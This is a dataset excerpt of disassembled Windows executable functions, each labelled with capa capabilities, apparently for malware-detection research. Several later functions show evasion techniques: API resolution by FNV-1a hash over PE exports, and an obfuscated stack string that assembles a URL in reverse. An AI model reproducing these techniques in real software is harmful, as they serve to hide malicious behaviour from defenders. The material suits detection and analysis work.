joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402a6bb4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1402a6be4
xor eax, eax
jmp 0x1402a6ca7
mov rbp, rbx
cmp word [rax], si
je 0x1402a6c09
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1402a6bf0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1402a6bec
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1402a3a88
movsxd r14, eax
test eax, eax
jne 0x1402a6c47
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1402a6bdd
mov rcx, r14
call fcn.14029f634
mov rdi, rax
test rax, rax
jne 0x1402a6c60
xor ecx, ecx
call fcn.14029d894
jmp 0x1402a6c3c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1402a3a88
test eax, eax
jne 0x1402a6c91
mov rcx, rdi
call fcn.14029d894
jmp 0x1402a6c9b
xor ecx, ecx
call fcn.14029d894
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1402a6cc4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1402a6d4b
mov rsi, rbx
cmp word [rax], bp
je 0x1402a6d0a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1402a6cf4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1402a6cf0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14029f634
mov rdi, rax
test rax, rax
je 0x1402a6d38
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1402b0e10
mov rbp, rdi
xor ecx, ecx
call fcn.14029d894
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1402a9d08
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14029d4bc
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1402a9da9
cmp ebx, dword [rsp + 0x30]
je 0x1402a9da2
test esi, esi
je 0x1402a9da2
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1402a9d7d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1402a9d8a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1402a9d67
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1402a9d8e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1402a9dab
mov eax, 1
jmp 0x1402a9dab
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1402aa1f0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140295478
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140295478
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1402aa340
cmp rax, 0xffffffffffffffff
je 0x1402aa340
xor edi, edi
test rbp, rbp
jle 0x1402aa2eb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14029d81c
mov rbx, rax
test rax, rax
jne 0x1402aa278
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1402aa2e1
mov edx, 0x8000
mov ecx, r14d
call fcn.14029618c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14029bd58
cmp eax, 0xffffffff
je 0x1402aa2c1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1402aa288
mov edx, r15d
mov ecx, r14d
call fcn.14029618c
jmp 0x1402aa2e1
cmp byte [rsi + 0x38], dil
je 0x1402aa2d8
cmp dword [rsi + 0x34], 5
jne 0x1402aa2d8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x1402aa2e1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14029d894
jmp 0x1402aa354
jns 0x1402aa354
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140295478
cmp rax, 0xffffffffffffffff
jne 0x1402aa30c
cmp byte [rsi + 0x30], dil
je 0x1402aa354
mov edi, dword [rsi + 0x2c]
jmp 0x1402aa354
mov ecx, r14d
call fcn.1402a4824
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1402aa354
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x1402aa354
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1402aa34d
mov eax, dword [rsi + 0x2c]
jmp 0x1402aa352
mov eax, reloc.WS2_32.dll_shutdown
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140295478
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1402acba0
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1403f4940]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1402acbea
call fcn.14028fa6c
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.14028fa8c
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.14027db4c
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14026e0e0
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1402acbf5
lea eax, [rbx + 1]
jmp 0x1402acbd7
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1402acbd5
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1402acbd7
Function at 0x1402ad2c4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140286b10
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1402ad34e
cmp byte [rbp - 0x21], r15b
je 0x1402ad349
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1402ad384
call fcn.14029dbf0
test eax, eax
jne 0x1402ad370
cmp byte [rbp - 0x21], r15b
je 0x1402ad368
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1402ad384
cmp byte [rbp - 0x21], r15b
je 0x1402ad381
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1402914a0
test eax, eax
jne 0x1402ad424
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140286b10
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1402ad3c3
cmp byte [rbp - 0x21], r15b
je 0x1402ad3f8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1402ad3f8
call fcn.14029dbf0
test eax, eax
jne 0x1402ad3e4
cmp byte [rbp - 0x21], r15b
je 0x1402ad3dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1402ad3f8
cmp byte [rbp - 0x21], r15b
je 0x1402ad3f5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1402914a0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1402ad424
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1402ad427
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1402ad435
mov rcx, rdi
call fcn.14029d894
cmp byte [rbp + 0x3f], r15b
je 0x1402ad444
mov rcx, qword [rbp + 0x27]
call fcn.14029d894
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1402b06f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1402b0718
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1402b0718
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x402dc0
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
sub rsp, 0xc8
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
cmp word [0x00400000], 0x5a4d
je 0x402dfd
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
lea rdi, [0x00400000]
jmp 0x402e8b
movsxd rax, dword [0x0040003c]
lea rdi, [0x00400000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x402e21
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x402e8b
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x402e68
cmp ecx, 0x20b
je 0x402e40
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x402e8b
cmp dword [rax + 0x84], 0xe
ja 0x402e54
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x402e8b
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
jmp 0x402e8b
cmp dword [rax + 0x74], 0xe
ja 0x402e79
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x402e8b
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
mov ecx, 2
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x00405e30], 0xffffffffffffffff
mov qword [0x00405e38], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x00405d3c]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x00405d38]
mov dword [rcx], eax
call fcn.00403060
cmp dword [0x00405670], 0
jne 0x402ee5
lea rcx, [fcn.00403060]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x004042e8]
lea rcx, [0x004042e0]
call fcn.00495000
mov r11d, dword [0x00405d34]
mov dword [rsp + 0xd8], r11d
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x00405d30]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x3c]
call qword [sym.imp.msvcrt.dll___getmainargs]
lea rdx, [0x004042d8]
lea rcx, [0x004042c8]
call sub.msvcrt.dll__initterm
mov r11, qword [sym.imp.msvcrt.dll__acmdln]
mov r8, qword [r11]
mov qword [rsp + 0x30], r8
cmp byte [r8], 0x22
jne 0x402f86
nop
nop
inc r8
mov qword [rsp + 0x30], r8
movzx eax, byte [r8]
test al, al
je 0x402f76
cmp al, 0x22
je 0x402f76
jmp 0x402f60
cmp byte [r8], 0x22
jne 0x402f96
inc r8
mov qword [rsp + 0x30], r8
jmp 0x402f96
cmp byte [r8], 0x20
jbe 0x402f96
inc r8
mov qword [rsp + 0x30], r8
jmp 0x402f86
movzx eax, byte [r8]
test al, al
je 0x402fac
cmp al, 0x20
ja 0x402fac
inc r8
mov qword [rsp + 0x30], r8
jmp 0x402f96
test byte [rsp + 0x8c], 1
je 0x402fc1
movzx r9d, word [rsp + 0x90]
jmp 0x402fc7
mov r9d, 0xa
xor edx, edx
mov rcx, rdi
call fcn.00401670
mov edi, eax
mov dword [rsp + 0x38], eax
test ebx, ebx
jne 0x402fe3
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x403007
mov eax, edi
jmp 0x403010
mov rbx, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
add rsp, 0xc8
ret
Function at 0x140008584
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400085ce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400085ce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400085ce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400085ce
cmp dword [rcx + 0x84], 0xe
jbe 0x1400085ce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400085d0
xor al, al
add rsp, 0x28
ret
Function at 0x140019680
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400196a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400196a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400058b0
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov edx, 0x32
mov rcx, qword [rsp + 0x50]
call fcn.1400034f0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 0x811c9dc5
mov qword [rsp + 0x28], 0
jmp 0x1400058ed
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jae 0x140005926
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
imul eax, dword [rsp + 0x20], 0x1000193
mov dword [rsp + 0x20], eax
jmp 0x1400058e0
mov eax, dword [rsp + 0x20]
add rsp, 0x48
ret
Function at 0x140005930
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0xf8
mov qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400059ee
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400059ee
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0xa8]
call fcn.140011380
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea r8, str._not_found
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0xc8]
call fcn.140017fa0
nop
lea rcx, [rsp + 0xa8]
call fcn.140011250
mov qword [rsp + 0x60], 0
lea rcx, [rsp + 0xc8]
call fcn.140011250
mov rax, qword [rsp + 0x60]
jmp 0x140005b59
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x70]
mov eax, dword [rcx + rax + 0x88]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x20], 0
jmp 0x140005aa5
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x14]
cmp dword [rsp + 0x20], eax
jae 0x140005b59
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x90]
call fcn.1400058b0
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x108]
cmp dword [rsp + 0x3c], eax
jne 0x140005b54
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x98]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0xa0]
mov eax, dword [rcx + rax*4]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
jmp 0x140005b59
jmp 0x140005a9b
add rsp, 0xf8
ret
Function at 0x140005d60
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xf0
mov dword [rsp + 0x48], 0xc84fa23e
mov edx, 0xc84fa23e
lea rcx, [0x14011d340]
call fcn.140005930
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140005d9d
jmp 0x140005ed5
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x60], rax
xor ecx, ecx
call qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140005dbf
jmp 0x140005ed5
mov dword [rsp + 0x4c], 0x4643336c
mov edx, 0x4643336c
lea rcx, str.Gdi32.dll
call fcn.140005930
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x68], rax
xor r9d, r9d
lea r8, [0x140005d50]
mov edx, 1
mov rcx, qword [rsp + 0x20]
call qword [rsp + 0x68]
mov dword [rsp + 0x50], 0x820621f3
mov edx, 0x820621f3
lea rcx, [0x14011d368]
call fcn.140005930
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140005e2a
jmp 0x140005ed5
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x70], rax
lea r9, [rsp + 0x54]
mov r8d, 0x40
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x100]
call qword [rsp + reloc.WS2_32.dll_WSASetLastError]
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x5c
rep stosb byte [rdi], al
mov byte [rsp + 0xa7], 1
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x78], rax
xor r9d, r9d
mov r8, qword [rsp + 0x100]
mov edx, 2
mov rcx, qword [rsp + 0x20]
call qword [rsp + 0x78]
mov dword [rsp + 0x58], 0x294aff17
mov edx, 0x294aff17
lea rcx, str.User32.dll
call fcn.140005930
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140005eba
jmp 0x140005ed5
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x80], rax
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [rsp + 0x80]
add rsp, 0xf0
pop rdi
ret

Function at 0x140006620
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov dword [rsp + 0x20], 0x820621f3
mov edx, 0x820621f3
lea rcx, [0x14011d3f8]
call fcn.140005930
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140006659
xor al, al
jmp 0x14000669e
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x24]
mov r8d, 4
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x30]
test eax, eax
jne 0x140006684
xor al, al
jmp 0x14000669e
mov rdi, qword [rsp + 0x50]
xor eax, eax
mov rcx, qword [rsp + 0x58]
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x50]
call fcn.140005d30
mov al, 1
add rsp, 0x40
pop rdi
ret
Function at 0x140006890
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400c55d8
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x18]
mov qword [rax], rcx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x10]
mov qword [rax + 8], rcx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x30]
lea r8, [0x1400066b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140006922
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, reloc.WS2_32.dll_recv
mov rcx, qword [rsp + 0x48]
call fcn.1400c5338
add rsp, 0x58
ret
Function at 0x140007ce0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xe8
lea rdx, str.http:__
lea rcx, [rsp + 0xa0]
call fcn.140011380
nop
mov byte [rsp + 0x28], 0x67
mov byte [rsp + 0x29], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x2a], WSASetLastError
mov byte [rsp + 0x2b], 0x2e
mov byte [rsp + 0x2c], 0x65
mov byte [rsp + 0x2d], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2e], 0x61
mov byte [rsp + 0x2f], 0x64
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x31], 0x75
mov byte [rsp + 0x32], 0x2f
mov byte [rsp + 0x33], WSASetLastError
mov byte [rsp + 0x34], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x35], 0x63
mov byte [rsp + 0x36], 0x2e
mov byte [rsp + 0x37], 0x64
mov byte [rsp + 0x38], 0x75
mov byte [rsp + 0x39], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x3a], WSASetLastError
mov byte [rsp + 0x3b], 0x63
mov byte [rsp + 0x3c], WSAStartup
mov byte [rsp + 0x3d], 0x79
mov byte [rsp + 0x3e], WSASetLastError
mov byte [rsp + 0x3f], 0x2e
mov byte [rsp + 0x40], 0x67
mov byte [rsp + 0x41], WSASetLastError
mov byte [rsp + 0x42], 0x69
mov byte [rsp + 0x43], 0x6a
mov byte [rsp + 0x44], 0x69
mov byte [rsp + 0x45], 0x65
mov byte [rsp + 0x46], 0x62
mov byte [rsp + 0x47], 0x2d
mov byte [rsp + 0x48], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x49], 0x61
mov byte [rsp + 0x4a], 0x2e
mov byte [rsp + 0x4b], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x4c], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x4d], 0x63
mov byte [rsp + 0x4e], 0x2e
mov byte [rsp + 0x4f], gethostname
mov byte [rsp + 0x50], gethostname
mov byte [rsp + 0x51], 0x32
mov byte [rsp + 0x52], 0x31
mov byte [rsp + 0x53], 0x31
mov byte [rsp + 0x54], gethostname
mov byte [rsp + 0x55], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x56], gethostname
mov byte [rsp + 0x57], 0x32
mov byte [rsp + 0x58], 0x31
mov byte [rsp + 0x59], 0x2d
mov byte [rsp + 0x5a], 0x65
mov byte [rsp + 0x5b], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x5c], 0x61
mov byte [rsp + 0x5d], 0x64
mov byte [rsp + 0x5e], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x5f], 0x75
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x80]
call fcn.1400114d0
nop
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], 0xffffffffffffffff
inc qword [rsp + 0x68]
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
cmp byte [rax + rcx], 0
jne 0x140007e3f
mov rax, qword [rsp + 0x68]
dec rax
mov dword [rsp + 0x20], eax
jmp 0x140007e6c
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jl 0x140007e8c
movsxd rax, dword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x28]
lea rcx, [rsp + 0x80]
call fcn.140010e80
jmp 0x140007e62
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0xc0]
call fcn.140018580
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140011280
lea rcx, [rsp + 0xc0]
call fcn.140011250
nop
lea rcx, [rsp + 0x80]
call fcn.140011250
nop
lea rcx, [rsp + 0xa0]
call fcn.140011250
add rsp, 0xe8
ret